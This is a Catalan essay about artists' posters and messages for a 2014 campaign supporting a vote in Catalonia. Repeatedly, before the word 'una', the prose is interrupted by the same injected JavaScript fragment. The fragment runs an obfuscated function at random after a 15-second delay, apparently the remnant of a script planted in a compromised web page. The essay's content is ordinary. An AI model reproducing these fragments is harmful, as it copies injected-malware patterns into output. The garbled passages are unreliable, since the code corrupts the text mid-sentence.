Els artistes, com un ciutadà més, però amb un llenguatge personal i intransferible, han reflectit sobre el paper andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}una imatge, un text, andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}una idea en un format petit, igual per a tots, destinada a ser reproduïble i a il·lustrar aquesta campanya. Els artistes han mostrat andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}una altra vegada, des de la seva poètica personal, el seu compromís cívic i ètic amb la societat catalana. L’art funciona novament com andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}una crida a la llibertat democràtica que només dóna les urnes.

Algunes de les imatges proporcionades són veritables cartells de crida a la votació del «Sí, Sí». Com a exemple, un d’ells diu «Vot i veu ara 2014, SÍ». Altres apel·len a la voluntat de voler i poder votar, horitzó final d’aquesta campanya que busca imatges ressò que propaguin aquest missatge des de la visualitat. Alguns creadors usen un llenguatge més intimista per expressar la unió de tots els éssers que conformen la col·lectivitat social, plural i diversa de Catalunya. Altres es refereixen irònicament a la crisi i a la corrupció, critiquen obertament els polítics que han empès Catalunya cap a voler aquesta sortida. Tanmateix, altres pivoten explícitament sobre la lletra V, motiu de l’11 de setembre de 2014, però també V de votació, V de victòria i doble V de «volem votar». Pel fet de tractar-se d’andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}una campanya democràtica, l’urna ha estat andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}una proposta recurrent, gairebé la imatge de Catalunya convertida en urna, com andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}una dona prenyada a punt de parir. I aparellat amb l’urna: el sobre, l’altra arma que lluita com a símbol de vocació democràtica contra l’eròtica del poder.

Molts també al·ludeixen a la veu com a camí de diàleg que no es pot fer callar o passar per alt; altres al vot com a valor legítim de la democràcia. L’evolució del difícil encaix històric de Catalunya dins l’Estat espanyol, un contenciós històric no resolt, ha estat també un dels temes abordats pels artistes en les seves reflexions i, fins i tot, es qüestiona que s’hagi avançat gaire des dels anys setanta fins ara en alguns aspectes, com ara en el de la llengua, en què l’Estat espanyol retorna amb noves lleis a concepcions franquistes que, aparentment, havien quedat oblidades. Rebroten, doncs, uns certs gests, que requereixen implicació i acció. «L’acció ens farà més lliures», diu un d’ells. I, un altre anuncia: «Atenció: la percepció requereix implicació.»

Com totes les campanyes obertes, amb limitació de temps, potser no tots els creadors hi han arribat a temps, però sí que podem dir que tots els participants que hi han arribat són referents en cadascun dels seus àmbits d’actuació i territori. Han aportant les millors idees des de la il·lustració, la imatge gràfica, la poesia visual, l’humor crític dels ninotaires de diari, o des de propostes conceptuals o textuals. Cada imatge o missatge de text vol ser andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}una crida d’atenció, des d’imatges narratives gràficament més explícites o des d’altres més críptiques i poètiques, però, en qualsevol cas, suggerents, que demanen l’atenció de l’espectador per percebre-les.

Cal llegir el conjunt com un laboratori d’idees creades per fer visible andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}una voluntat, que alhora afirma el compromís constructiu dels artistes amb la societat, amb qui compateixen un desig d’acció democràtica per ser tots plegats més lliures.